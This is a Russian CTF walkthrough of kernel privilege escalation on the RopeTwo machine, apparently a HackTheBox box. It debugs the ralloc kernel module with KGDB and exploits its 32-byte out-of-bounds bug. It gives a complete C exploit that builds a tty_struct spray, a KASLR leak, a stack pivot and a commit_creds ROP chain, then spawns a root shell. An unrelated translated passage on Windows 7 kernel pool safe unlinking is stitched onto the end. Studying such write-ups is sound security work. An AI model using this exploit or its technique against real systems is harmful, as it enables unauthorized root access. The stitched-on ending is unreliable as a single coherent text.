В этой статье будем разбирать одну из самых сложных тем в сфере PWN — эксплуатацию ядра Linux. Ты узнаешь, какие инструменты применяются для отладки ядра, что такое LKM, KGDB, IOCTL, TTY, и много других интересных вещей!
В статьях «Разбираем V8» и «Куча приключений» мы проложили себе путь к пользователю r4j на хардкорной виртуалке RopeTwo. Чтобы добраться до рута, остается последний шаг, но какой! Нас ждет ROP (не зря же виртуалку так назвали) и kernel exploitation. Мозги будут закипать, обещаю! Запасайся попкорном дебаггером и поехали!
Как и в случае с флагом пользователя из предыдущей статьи, первым делом запускаем LinPEAS и внимательно смотрим, за что можно зацепиться. В глаза бросаются две подозрительные строчки:
[+] Looking for Signature verification failed in dmseg
[ 13.882339] ralloc: module verification failed: signature and/or required key missing - tainting kernel
--
[+] Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root r4j 5856 Jun 1 2020 /usr/lib/modules/5.0.0-38-generic/kernel/drivers/ralloc/ralloc.koClick to expand...
Видим, что в системе от пользователя root загружен неподписанный модуль ядра, доступный нам для чтения. А это значит, что впереди kernel exploitation!
Первое, что нам нужно, — это скачать себе ralloc.ko и натравить на него «Гидру».
Видим, что ralloc — это LKM, который выполняет различные операции с памятью при получении системных вызовов ioctl. По сути, это самописный драйвер управления памятью, (Superfast memory allocator, как описывает его сам автор), очевидно, что не без уязвимостей.
LKM (loadable kernel module) — объектный файл, содержащий код, который расширяет возможности ядра операционной системы. В нем реализованы всего четыре функции:
- выделение памяти в адресном пространстве ядра (kmalloc) — вызов ioctl 0x1000;
- очищение памяти в адресном пространстве ядра (kfree) — вызов ioctl 0x1001;
- копирование информации из адресного пространства пользователя в пространство ядра (memcpy(kernel_addr, user_addr, size)) — вызов ioctl 0x1002;
- копирование информации из адресного пространства ядра в пространство пользователя (memcpy(user_addr, kernel_addr, size)) — вызов ioctl 0x1003.
Click to expand...
Ниже дизассемблированный и приведенный в читаемый вид листинг этих функций:
C:Copy to clipboard
case 0x1000: // Функция выделения памяти ядра
if ((size < 0x401) && (idx < 0x20)) {
if (arr[idx].size== 0) {
ptr = __kmalloc(size, 0x6000c0);
arr[idx].data = ptr;
if (ptr != 0) {
arr[idx].size = size_alloc + 0x20;
return_value = 0;
}
}
}
break;
case 0x1001: // Функция освобождения памяти ядра
if ((idx < 0x20) && arr[idx].data != 0)) {
kfree(arr[idx].ptr);
arr[idx].size = 0;
return_value = 0;
}
break;
case 0x1002: // Функция копирования из user space в kernel space
if (idx < 0x20) {
__dest = arr[idx].data;
__src = ptrUserSpace;
if ((arr[idx].data != 0x0) && ((size & 0xffffffff) <= arr[idx].size)) {
if ((ptrUserSpace & 0xffff000000000000) == 0) {
memcpy(__dest, __src, size & 0xffffffff);
result = 0;
}
}
}
break;
case 0x1003: // Функция копирования из kernel space в user space
if (idx < 0x20) {
__dest = ptrUserSpace;
__src = arr[idx].data;
if ((__src != 0x0) && ((size & 0xffffffff) <= arr[idx].size)) {
if ((ptrUserSpace & 0xffff000000000000) == 0) {
memcpy(__dest, __src, size & 0xffffffff);
result = 0;
}
}
}
break;
Посмотри внимательно на листинг. Возможно, ты найдешь уязвимость, она почти сразу бросается в глаза! А пока займемся подготовкой стенда.
Очевидно, что для отладки ядра нам понадобится виртуальная машина. Да не одна, а целых две! Одна сыграет роль хоста, где установлено ядро с отладочными символами и где мы применим отладчик GDB, вторая будет запускаться в режиме KGDB (отладчик ядра Linux). Связь между виртуальными машинами устанавливается либо по последовательному порту, либо по локальной сети. Схематично это выглядит так.
Существует несколько сред виртуализации, на которых можно развернуть стенд: VirtualBox, QEMU (самый простой вариант) или VMware. Я выбрал первый вариант. Если захочешь попрактиковаться с QEMU, то на GitHub есть [руководство](https://justpaste.it/redirect/7xaq0/https://github.com/cirosantilli/linux- kernel-module-cheat%23qemu-buildroot-setup).
Также я нашел неплохое видео, которое подробно показывает настройку VirtualBox для отладки ядра.
Остановимся на главных моментах. Первым делом посмотрим, какая версия ядра используется в RopeTwo:
Code:Copy to clipboard
r4j@rope2:~$ lsb_release -r && uname -r
Release: 19.04
5.0.0-38-generic
Скачиваем и разворачиваем ВМ с Ubuntu 19.04. Далее устанавливаем ядро нужной версии (и свои любимые средства отладки и утилиты):
Code:Copy to clipboard
apt-get install linux-image-5.0.0-38-generic
Теперь можно сделать клон ВМ. На хост нам нужно загрузить [ядро с символами отладки](https://justpaste.it/redirect/7xaq0/https://launchpad.net/~canonical- kernel-team/+archive/ubuntu/ppa/+sourcepub/10775082/+listing-archive-extra). Нам нужен файл linux-image-unsigned-5.0.0-38-generic- dbgsym_5.0.0-38.41_amd64.ddeb (838,2 Мибайт).
На таргете нужно включить режим отладки ядра (KGDB). Для этого сначала настроим загрузчик, изменим в файле /etc/default/grub следующие строчки:
Code:Copy to clipboard
GRUB_CMDLINE_LINUX="kgdboc=ttyS0,115200"
GRUB_CMDLINE_LINUX_DEFAULT="consoleblank=0 nokaslr"
Тем самым мы даем KGDB команду слушать подключения отладчика на порте ttyS0, а также отключаем KASLR (kernel address space layout randomization) и очистку консоли.
Выполняем команду update-grub, чтобы записать параметры в загрузчик. После этого можно удостовериться, что значения попали в конфиг GRUB, — ищи их в файле /boot/grub/grub.cfg.
Если бы мы хотели отлаживать само ядро, было бы необходимо добавить параметр kgdbwait, чтобы загрузчик остановился перед загрузкой ядра и ждал подключения GDB с хоста. Но так как нас интересует не само ядро, а LKM, то это не требуется.
Далее проверим, что у нас в системе включены прерывания отладки:
Code:Copy to clipboard
root@target:/boot# grep -i CONFIG_MAGIC_SYSRQ config-5.0.0-38-generic
CONFIG_MAGIC_SYSRQ=y
CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x01b6
CONFIG_MAGIC_SYSRQ_SERIAL=y
и текущие флаги прерываний:
Code:Copy to clipboard
cat /proc/sys/kernel/sysrq
176
Включим на таргете все функции «магических» прерываний системы:
Code:Copy to clipboard
echo "1" > /proc/sys/kernel/sysrq
echo "kernel.sysrq = 1" >> /etc/sysctl.d/99-sysctl.conf
Подробнее о них можно почитать в [документации](https://justpaste.it/redirect/7xaq0/https://www.kernel.org/doc/html/latest/admin- guide/sysrq.html).
Теперь, если ты введешь echo g > /proc/sysrq-trigger, система зависнет в ожидании подключения отладчика.
Осталось связать хост и таргет между собой. Для этого необходимо включить в настройках обеих ВМ Serial Port. На таргете это выглядит так.
А на хосте — так.
Обрати внимание, что на хосте установлена галочка Connect to existing pipe/socket! Поэтому сначала мы загружаем ВМ таргета и только потом ВМ хоста.
Теперь вся готово для отладки, проверяем.
KGDB также можно активировать «магической» комбинацией клавиш в VirtualBox: Alt-PrintScr-g.
Закидываем в таргет модуль ralloc.ko и загружаем его командой insmod ralloc.ko. Основные команды для работы с модулями ядра:
- depmod — вывод списка зависимостей и связанных map-файлов для модулей ядра;
- insmod — загрузка модуля в ядро;
- lsmod — вывод текущего статуса модулей ядра;
- modinfo — вывод информации о модуле ядра;
- rmmod — удаление модуля из ядра;
- uname — вывод информации о системе.
Click to expand...
После загрузки модуля можем посмотреть его карту адресов командой grep ralloc /proc/kallsyms. Запомни ее — эта команда еще не раз нам пригодится.
Карта адресов модуля ralloc
Для отладки нам понадобятся адреса областей .text, .data и .bss:
Code:Copy to clipboard
root@target:~# cd /sys/module/ralloc/sections && cat .text .data .bss
0xffffffffc03fb000
0xffffffffc03fd000
0xffffffffc03fd4c0
Посмотрим, какие защитные механизмы включены в ядре.
Code:Copy to clipboard
r4j@rope2:~$ cat /proc/cpuinfo | grep flags
flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2
syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl tsc_reliable nonstop_tsc cpuid extd_apicid
pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm extapic
cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ssbd ibpb vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx clflushopt
sha_ni xsaveopt xsavec xsaves clzero arat overflow_recov succor
Видим, что SMEP включен, а SMAP — нет. В этом можно убедиться следующим образом:
Code:Copy to clipboard
r4j@rope2:/tmp$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-5.0.0-38-generic root=UUID=8e0d770e-1647-4f8e-9d30-765ce380f9b7 ro maybe-ubiquity nosmap
Supervisor mode execution protection (SMEP) и supervisor mode access prevention (SMAP) — функции безопасности, которые используются в последних поколениях CPU. SMEP предотвращает исполнение кода из режима ядра в адресном пространстве пользователя, SMAP —непреднамеренный доступ из режима ядра в адресное пространство пользователя. Эти опции контролируются включением определенных битов в регистре CR4. Подробнее об этом можно почитать в документации Intel ([PDF](https://justpaste.it/redirect/7xaq0/https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures- software-developer-system-programming-manual-325384.pdf)).
Также включен KASLR — это умолчательный вариант в новых версиях ядра Linux.
Итак, какая же уязвимость присутствует в ralloc? Разгадка кроется в строке arr[idx].size = size_alloc + 0x20;, это значит, что мы можем читать и писать на 32 байта больше реального объема выделенной памяти. Неплохо! Но как мы можем это использовать?
Пока я изучал примеры kernel exploitation (значительная часть которых на китайском, но Google Translate нам в помощь), появился план действий. Первое, на что надо обратить внимание, — максимальный размер участка памяти составляет 1024 байта. Есть еще одна известная структура, которая использует такой же размер, — tty_struct.
INFO
tty_struct используется ядром TTY для контроля за текущим состоянием на конкретном порте.
Если мы выделим два соседних участка памяти, а потом освободим второй из них и вызовем псевдотерминал, с большой вероятностью менеджер памяти ядра загрузит tty_struct в только что освобожденный участок. В таком случае у нас будет возможность читать первые 32 байта этой структуры и писать в них, используя уязвимость OOB (out-of-bounds). Благодаря этому мы можем прочитать и перезаписать указатель *ops, который расположен в начале tty_struct и содержит адрес ptm_unix98_ops, и вычислить по его смещению адрес kernel base. Зная его, мы можем составить ROP chain, поместить его по определенному адресу и перенаправить на него указатель стека. В этом нам поможет замена указателя *ops поддельной структурой tty_operations, в которой указатель ioctl заменен гаджетом xchg eax esp. Должно сработать, попробуем это реализовать.
Click to expand...
Писать эксплоит мы будем на старом добром (а для кого‑то не очень) С. Для начала, как всегда, напишем вспомогательные функции. Точнее, это будет всего одна функция, которая вызывается макросами с нужными параметрами:
C:Copy to clipboard
void call_ralloc(int fd, signed long idx, size_t size, unsigned long *data, int cmd) {
long int arg[3]={idx,size,data};
int ret = ioctl(fd, cmd, &arg);
}
Теперь проверим, сможем ли мы загрузить tty_struct в освобожденный участок памяти. Помнишь, что нас интересует указатель на ptm_unix98_ops? Для начала найдем его адрес:
Code:Copy to clipboard
root@target:~# grep ptm_unix98_ops /proc/kallsyms
ffffffff820af6a0 r ptm_unix98_ops
А теперь используем следующий код (я привожу только ключевые строки кода для экономии места, полный код для компиляции ты можешь восстановить из исходника эксплоита в конце статьи):
C:Copy to clipboard
del(fd,1);
del(fd,2);
alloc(fd,1,0x400);
alloc(fd,2,0x400);
del(fd,2);
tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
kernel_to_user(fd, 1, 0x420, data);
for(int i=128;i<132;i+=2){
printf("%016llx | %016llx\n",data[i],data[i+1]);
}
/dev/ptmx используется для создания пары основного и подчиненного псевдотерминала. Когда процесс открывает /dev/ptmx, то он получает описатель файла для основного псевдотерминала (PTM, pseudo-terminal master), а в каталоге /dev/pts создается устройство подчиненного псевдотерминала (PTS, pseudo-terminal slave).
Скомпилируем код командой gcc -static tty_test.c -o tty_test и посмотрим, что получается.
Ключ -static заставляет компилятор включить в бинарный файл все необходимые библиотеки.
Code:Copy to clipboard
artex@target:~$ ./tty_test
59dfb48431ee39b3 | 0000000000000000
ffff8881923f9cc0 | ffffffff820af6a0
После нескольких запусков мы видим нужный указатель на ptm_unix98_ops!
Но иногда мы видим просто мусор или нули. Попробуем разобраться в этом с помощью GDB.
Модифицируем код:
C:Copy to clipboard
alloc(fd,1,0x400);
alloc(fd,2,0x400);
data[3]=0xdeadbeef;
user_to_kernel(fd, 2, 0x400, data);
kernel_to_user(fd, 1, 0x420, data);
printf("%016llx",data[131]);
Наша цель — выделить два чанка, записать данные во второй, а прочитать начальные 32 байта, обращаясь к первому. Теперь, если скомпилировать и запустить нашу тестовую программу несколько раз, увидим, что последовательность 0xdeadbeef мы получаем далеко не всегда. Проверим в GDB.
Для начала сделаем на таргете прерывание, загрузим в GDB на хосте адреса ralloc и установим брейк перед вызовом функции __kmalloc (смещение от начала rope2_ioctl — 0x156):
Code:Copy to clipboard
add-symbol-file ralloc.ko 0xffffffffc03fa000 -s .data 0xffffffffc03fc000 -s .bss 0xffffffffc03fc4c0
b *0xffffffffc03fa156
Последовательность действий в GDB должна быть такой:
Code:Copy to clipboard
step
__kmalloc (size=0x400, flags=0x6000c0) at /build/linux-I6SwI1/linux-5.0.0/mm/slub.c:3788
finish
Value returned is $1 = (void *) 0xffff88818c968000
continue
step
__kmalloc (size=0x400, flags=0x6000c0) at /build/linux-I6SwI1/linux-5.0.0/mm/slub.c:3788
finish
Value returned is $2 = (void *) 0xffff888191c2b400
Команда step позволяет нам перейти к следующей инструкции — вызову функции kmalloc, а finish — получить возвращаемое ей значение.
Видим, что адреса двух чанков не следуют друг за другом, точнее такое бывает, но далеко не всегда. Следовательно, прежде чем освобождать память для tty_struct, нам необходимо вставить проверку смежности чанков. Для этого используется цикл с алгоритмом, похожим на проверку выше (смотри код эксплоита в конце статьи).
После того как мы нашли смежные чанки и записали tty_struct в освобожденный участок памяти, мы можем прочитать нужный адрес и вычислить по нему kernel base — базовый адрес ядра. Далее переходим к самому интересному — построению ROPchain.
Начинаем с моделирования. Нам нужна функция, которая позволит повысить наши привилегии до root. Один из самых доступных вариантов для этого — функция commit_creds(prepare_kernel_cred(NULL));. Если мы вызовем commit_creds от имени системы и передадим ей в качестве параметра prepare_kernel_cred(NULL), мы заменим UID нашего процесса на 0. Это происходит потому, что, получив в качестве параметра NULL, prepare_kernel_cred возвращает полномочия процесса инициализации init_cred, а эти полномочия соответствуют полномочиям root. Также можно сразу передать функции commit_creds структуру init_cred, что мы и сделаем. Подробнее о полномочиях в Linux читай в документации.
Поскольку у нас активен SMEP, мы не можем выполнять код в пространстве User, а должны использовать гаджеты из ядра системы. Второй путь — отключить SMEP, поместив в регистр cr4 значение 0x6f0. Можешь попробовать реализовать это самостоятельно в качестве упражнения, а мы пойдем по первому пути. Для этого нам требуется:
- поместить init_cred в регистр RDI (первый параметр функции);
- вызвать commit_creds;
- аккуратно вернуться в контекст пользователя, ничего не сломав, и запустить shell.
Click to expand...
Для переключения контекста существует инструкция iretq, но перед ее вызовом требуется выполнить инструкцию swapgs, чтобы восстановить значение IA32_KERNEL_GS_BASE MSR (model-specific register). Так как при переходе в режим ядра (например, при вызове syscall) вызывается swapgs для получения указателя на структуры данных ядра, при возвращении в режим пользователя нужно вернуть это значение обратно в MSR. Ознакомиться с описанием swapgs можно на сайте Феликса Клутье. Для корректного возвращения в user space инструкция iretq также требует соблюдения определенной структуры стека.
Поэтому нам нужно сохранить значения этих регистров перед вызовом ROPchain и восстановить в момент возвращения в user space. Сохранить регистры можно с помощью следующей функции:
C:Copy to clipboard
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory"
);
Осталось найти ROP-гаджеты и составить ROPchain.
Есть несколько утилит для поиска гаджетов ROP, например ROPgadget, xrop, ropper. Все они применяют разные алгоритмы поиска, и списки найденных гаджетов немного отличаются. Поэтому, если ты не смог найти нужный гаджет одной из утилит, можешь попробовать другую. Итак, нам нужно:
- распаковать ядро;
- найти границы области .text (гаджеты из других областей часто могут не работать);
- установить и запустить ROPgadget, сохранив все найденные гаджеты в файл.
Click to expand...
Code:Copy to clipboard
root@target:/boot# /usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux vmlinuz-$(uname -r) > vmlinux
root@target:/boot# egrep " _text$| _etext$" System.map-5.0.0-38-generic
ffffffff81000000 T _text
ffffffff81e00e91 T _etext
ROPgadget --binary vmlinux --range 0xfffffff81000000-0xffffffff81e00e91 | sort > rgadget.lst
Теперь командой grep ищем адреса нужных нам гаджетов в rgadget.lst, а адреса init_cred и commit_creds — в /proc/kallsyms (это будет твоим домашним заданием). А вот iretq придется искать в ядре с помощью objdump:
Code:Copy to clipboard
root@target:/boot# objdump -j .text -d vmlinux | grep iretq | head -1
После того как адреса собраны, нам нужно рассчитать их смещения от базового адреса, поскольку на сервере активирован KASLR и работать мы будем со смещениями. Для этого я написал макросы:
Code:Copy to clipboard
#define BASE 0xffffffff81000000
#define OFFSET(addr) ((addr) - (BASE))
#define ADDR(offset) (kernel_base + (offset))
В итоге у нас получился вот такой ROPchain:
C:Copy to clipboard
unsigned long long rop_chain[] = {
// Помещаем в RDI init_cred (первый параметр функции)
ADDR(pop_rdi_ret),
ADDR(init_cred),
// Выполняем commit_creds(init_cred)
// и получаем UID процесса — 0 (root)
ADDR(commit_creds),
// Меняем местами (восстанавливаем) значения регистров
// GS и MSR (IA32_KERNEL_GS_BASE)
ADDR(swapgs),
// Пустышка для pop rbp гаджета swapgs
0xdeadbeef,
// Переключаем контекст на user space
ADDR(iretq),
// Запускаем shell
shell,
// Восстанавливаем регистры
user_cs,
user_rflags,
user_sp,
user_ss
};
Осталось последнее и самое главное — заставить RSP (Stack Pointer) стека ядра переключиться на наш ROPchain и получить шелл. Помнишь, мы записали tty_struct в освобожденный чанк и можем перезаписать первые 32 байта этой структуры? Начало этой структуры выглядит так:
C:Copy to clipboard
tty_struct:
int magic; // 4
struct kref kref; // 4
struct device *dev; // 8
struct tty_driver *driver; // 8
const struct tty_operations *ops; // 8
// offset = 4 + 4 + 8 + 8 = 24 байт = 0x18
...
Мы можем подделать структуру tty_operations и заменить этот указатель нашей поддельной структурой. Что нам это даст? Вот как выглядит начало tty_operations (полное ее описание можно найти в исходниках):
C:Copy to clipboard
struct tty_operations {
struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /* 0 8 */
int (*install)(struct tty_driver *, struct tty_struct *); /* 8 8 */
void (*remove)(struct tty_driver *, struct tty_struct *); /* 16 8 */
int (*open)(struct tty_struct *, struct file *); /* 24 8 */
void (*close)(struct tty_struct *, struct file *); /* 32 8 */
void (*shutdown)(struct tty_struct *); /* 40 8 */
void (*cleanup)(struct tty_struct *); /* 48 8 */
int (*write)(struct tty_struct *, const unsigned char *, int); /* 56 8 */
int (*put_char)(struct tty_struct *, unsigned char); /* 64 8 */
void (*flush_chars)(struct tty_struct *); /* 72 8 */
int (*write_room)(struct tty_struct *); /* 80 8 */
int (*chars_in_buffer)(struct tty_struct *); /* 88 8 */
int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 96 8 */
...
Ее тринадцатый элемент — указатель на ioctl. Если мы заменим этот указатель и вызовем ioctl, передав ему fd (file descriptor), который вернул ptmx, мы сможем вызвать нужную нам инструкцию.
А так как мы хотим заменить RSP на нужный нам адрес, заменим *ioctl адресом гаджета xchg eax, esp; ret;. Так как этот адрес будет содержаться в rax при вызове ioctl, наш гаджет xchg «переключит» указатель стека на адрес ADDR(xchg_eax_esp) & 0xFFFFFFFF (младшие 32 бита rax). Именно туда мы и запишем наш ROPchain!
Схематично весь процесс эксплуатации можно представить так.
Для отладки вешаем в отладчике брейк на xchg_eax_esp (break *0xffffffff8104cba4), делаем шаг вперед (step) и убеждаемся, что указатель стека ядра теперь «смотрит» на наш ROPchain.
Наконец‑то наш эксплоит готов, привожу его полный листинг:
C:Copy to clipboard
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <stdbool.h>
#define CMD_ALLOC 0x1000
#define CMD_FREE 0x1001
#define CMD_USER_TO_KERNEL 0x1002
#define CMD_KERNEL_TO_USER 0x1003
#define BUF_SIZE 0x400
#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)
/* Макросы для вызова функций ralloc */
#define alloc(fd, idx, size) call_ralloc(fd, idx, size, 0, CMD_ALLOC)
#define del(fd, idx) call_ralloc(fd, idx, 0, 0, CMD_FREE)
#define user_to_kernel(fd, idx, size, data) call_ralloc(fd, idx, size, data, CMD_USER_TO_KERNEL)
#define kernel_to_user(fd, idx, size, data) call_ralloc(fd, idx, size, data, CMD_KERNEL_TO_USER)
/* Макросы для вычисления смещений адресов */
#define BASE 0xffffffff81000000
#define OFFSET(addr) ((addr) - (BASE))
#define ADDR(offset) (kernel_base + (offset))
unsigned long kernel_base = 0;
/* ROP Gadgets */
typedef int __attribute__((regparm(3)))(*commit_creds_func)(unsigned long cred);
commit_creds_func commit_creds = (commit_creds_func) OFFSET(0xffffffff810c0540); // commit_creds
size_t init_cred = OFFSET(0xffffffff8265fa00); // init_cred
size_t xchg_eax_esp = OFFSET(0xffffffff8104cba4); // xchg eax, esp; ret;
size_t pop_rdi_ret = OFFSET(0xffffffff8108b8a0); // pop rdi ; ret;
size_t iretq = OFFSET(0xffffffff810379fb); // iretq
size_t swapgs = OFFSET(0xffffffff81074b54); // swapgs; pop rbp; ret;
/* Переменные для сохранения пользовательского контекста */
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;
unsigned long data[0x420]; // Массив для операций с ralloc
size_t fake_tty_operations[30]; // Массив для подмены указателя ioctl
/* Функция взаимодействия с драйвером ralloc */
void call_ralloc(int fd, signed long idx, size_t size, unsigned long *data, int cmd) {
long int arg[3]={idx,size,data};
int ret = ioctl(fd, cmd, &arg);
if (ret < 0) {
if (cmd==CMD_USER_TO_KERNEL)
err_exit("[!] user_to_kernel copy error");
if (cmd==CMD_KERNEL_TO_USER)
err_exit("[!] kernel_to_user copy error");
}
}
/* Функция вызова shell */
void shell() {
puts("-=Welcome to root shell=-");
system("/bin/bash");
}
/* Функция сохранения состояния регистров */
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory"
);
}
int main () {
bool isTRY = true;
save_state();
while (isTRY) { // Продолжаем попытки, пока не найдем адрес ptm_unix98_ops
int index=0x20;
int tty_fd;
/* Открываем файловый дескриптор для драйвера */
int fd = open("/dev/ralloc", O_RDONLY);
if (fd < 0) {
err_exit("[!] open /dev/ralloc");
}
size_t ptr = 0;
data[3]=0xdeadbeef; // Значение для проверки чанков на смежность
int fake_stack=0;
/* Цикл для поиска смежных чанков */
puts("[+] Searching adjacent slabs");
for(int j=0; j<0x20; j+=2) {
del(fd,j); // Профилактика зависших дескрипторов
del(fd,j+1);
alloc(fd,j,BUF_SIZE);
alloc(fd,j+1,BUF_SIZE);
user_to_kernel(fd, j+1, BUF_SIZE, data);
kernel_to_user(fd, j, 0x420, data); // Читаем на 32 байта больше
/* Проверяем, смежные ли чанки */
if (data[131]==0xdeadbeef) {
puts("[+] Adjacent slabs found");
index=j;
break;
}
}
if (index==0x20) {
puts("[-] Adjacent slabs not found, one more time..\n");
} else {
/* Смежные чанки найдены */
puts("[+] Inserting tty_struct");
del(fd,index+1);
/* Пробуем поместить tty_struct в только что освобожденный чанк */
tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
kernel_to_user(fd, index, 0x420, data); // Читаем на 32 байта больше
/* Сравниваем значение в освобожденном чанке + 0x18 с маской адреса ptm_unix98_ops (последние байты которого всегда равны 6a0) */
ptr = ((data[131] & 0xFFFFFFFF00000FFF)==0xffffffff000006a0 ? data[131] : 0);
if (ptr != 0) {
printf("[+] ptm_unix98_ops address found: %p\n",data[131]);
kernel_base = data[131]-OFFSET(0xffffffff820af6a0); // Вычисляем kernel_base по смещению ptm_unix98_ops
printf("[+] Kernel base address is %p\n", kernel_base);
fake_tty_operations[12] = ADDR(xchg_eax_esp); // Пишем адрес инструкции xchg eax esp вместо указателя ioctl
printf("[+] fake_tty_operations.ioctl is %p\n", fake_tty_operations[12]);
puts("[+] Preparing ROP chain");
unsigned long lower_address = ADDR(xchg_eax_esp) & 0xFFFFFFFF; // Выделяем младшие 32 бита адреса xchg_eax_esp (stack pivot)
printf("[+] Lower_address is %p\n", lower_address);
unsigned long base = ADDR(xchg_eax_esp) & 0xfffff000; // Готовим базу для фейкового стека в user space
/* Выделяем память для фейкового стека */
fake_stack=mmap(base, 0x10000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS|MAP_POPULATE, -1, 0);
if (fake_stack == MAP_FAILED)
err_exit("[-] mmap");
printf("[+] Payload is mmaped to %p\n", fake_stack);
/* ROPchain */
unsigned long long rop_chain[] = {
// Помещаем в RDI init_cred (первый параметр функции)
ADDR(pop_rdi_ret),
ADDR(init_cred),
// Выполняем commit_creds(init_cred) и получаем UID процесса — 0 (root)
ADDR(commit_creds),
// Меняем местами (восстанавливаем) значения регистра GS и MSR (IA32_KERNEL_GS_BASE)
ADDR(swapgs),
// Пустышка для pop rbp гаджета swapgs
0xdeadbeef,
// Переключаем контекст на user space
ADDR(iretq),
// Запускаем shell
shell,
// Восстанавливаем регистры контекста
user_cs,
user_rflags,
user_sp,
user_ss
};
/* Копируем ROPchain по адресу, которым мы заменим RSP */
memcpy(lower_address, rop_chain, sizeof(rop_chain));
data[131]=&fake_tty_operations; // Помещаем указатель на fake_tty_operations в массиве data
puts("[+] Writing function pointer to the driver");
/* Заменяем указатель *tty_operations */
user_to_kernel(fd, index, 0x420, data);
del(fd,index);
del(fd,index+1);
puts("[+] Triggering");
isTRY=false;
/* Вызываем ioctl и запускаем цепочку эксплоита */
ioctl(tty_fd, 0, 0);
}
puts("[*] ptm_unix98_ops not found, one more time...\n");
}
}
return 0;
}
Однако после возвращения в user space наш эксплоит «падает» с ошибкой Segmentation fault, и если для обычного приложения это беда, то в случае с эксплоитом мы можем даже не разбираться с проблемой, а использовать это как преимущество! Ведь, поймав этот сигнал, мы можем повесить на него запуск шелла и сделать эксплоит еще более универсальным.
Добавляем в исходник заголовочный файл signal.h и перехватываем сигнал SIGSEGV с помощью функции signal(SIGSEGV, shell);:
C:Copy to clipboard
#include <signal.h>
...
int main () {
bool isPTM = true;
save_state();
signal(SIGSEGV, shell); // Добавляем перехват сигнала SIGSEGV
...
Теперь все готово, чтобы добыть заветный флаг рута, путь к которому мы прокладывали с таким трудом!
Буду рад, если ты почерпнул новые знания и у тебя пробудился интерес исследовать их еще глубже. Несомненно, они тебе еще не раз пригодятся!
Резюме.
В Windows 7 Microsoft представила safe unlinking, чтобы ответить на растущее число бюллетеней по безопасности, влияющих на ядро Windows. Перед удалением записи из двусвязного списка safe unlinking направлено на обнаружение повреждения памяти путем проверки указателей на соседние записи списка. Следовательно, злоумышленник не может легко использовать общие методы для использования переполнения пула или других уязвимостей, связанных с повреждением пула. Способности. В этой статье мы показываем, что, несмотря на введенные меры безопасности, Windows 7 по-прежнему уязвима для общих атак на пул ядер. В частности, мы показываем, что распределитель пула может при определенных условиях не в состоянии безопасно разъединить свободные записи списка, что позволяет злоумышленнику повредить произвольную память. Чтобы предотвратить представленные атаки, мы предлагаем способы дальнейшего усиления и повышения безопасности пула ядер.
1. Введение
Поскольку программные ошибки трудно полностью устранить из-за сложности современных вычислений, поставщики делают все возможное, чтобы изолировать и предотвратить использование уязвимостей безопасности. Такие средства защиты, как DEP и ASLR, были введены в современные операционные системы для решения ряда широко используемых методов эксплуатации. Однако, поскольку средства защиты от эксплойтов не устраняют основную причину уязвимостей системы безопасности, всегда будут сценарии крайних случаев, в которых они не работают. Например, только DEP легко обойти с помощью возвратно- ориентированного программирования (ROP) [15]. Кроме того, новые методы, использующие возможности мощных встроенных в приложения движков сценариев может полностью обходить DEP и ASLR [4].
Дополнительным подходом к предотвращению эксплойтов является изоляция привилегий. Налагая ограничения на пользователей и процессы с помощью встроенных механизмов безопасности операционной системы, злоумышленник не может легко получить доступ и управлять системными файлами и информацией реестра в скомпрометированной системе. С момента введения в Vista управления учетными записями пользователей (UAC) пользователи больше не запускают обычные приложения с правами администратора по умолчанию. Кроме того, современные браузеры [2] и программы чтения документов [13] [12] используют "изолированные" процессы рендеринга, чтобы уменьшить влияние уязвимостей в библиотеках парсинга и механизмах слоев. В свою очередь, это побудило злоумышленников (а также исследователей) сосредоточить свои усилия на атаках с повышением привилегий. Выполнение произвольного кода в кольце с наивысшими привилегиями подрывает безопасность операционной системы.
Уязвимости повышения привилегий в большинстве случаев вызваны ошибками в ядре операционной системы или сторонних драйверах. Многие недостатки связаны с обработкой динамически выделяемой памяти пула ядра. Пул ядра аналогичен куче пользовательского режима и в течение многих лет был подвержен типичным атакам write-4, злоупотребляющим операцией разъединения двусвязных списков [8] [16]. В ответ на растущее число уязвимостей ядра Microsoft представила safe unlinking в Windows 7 [3]. Safe unlinking гарантирует, что указатели на соседние фрагменты пула в двусвязных свободных списках проверяются до разъединения фрагмента.
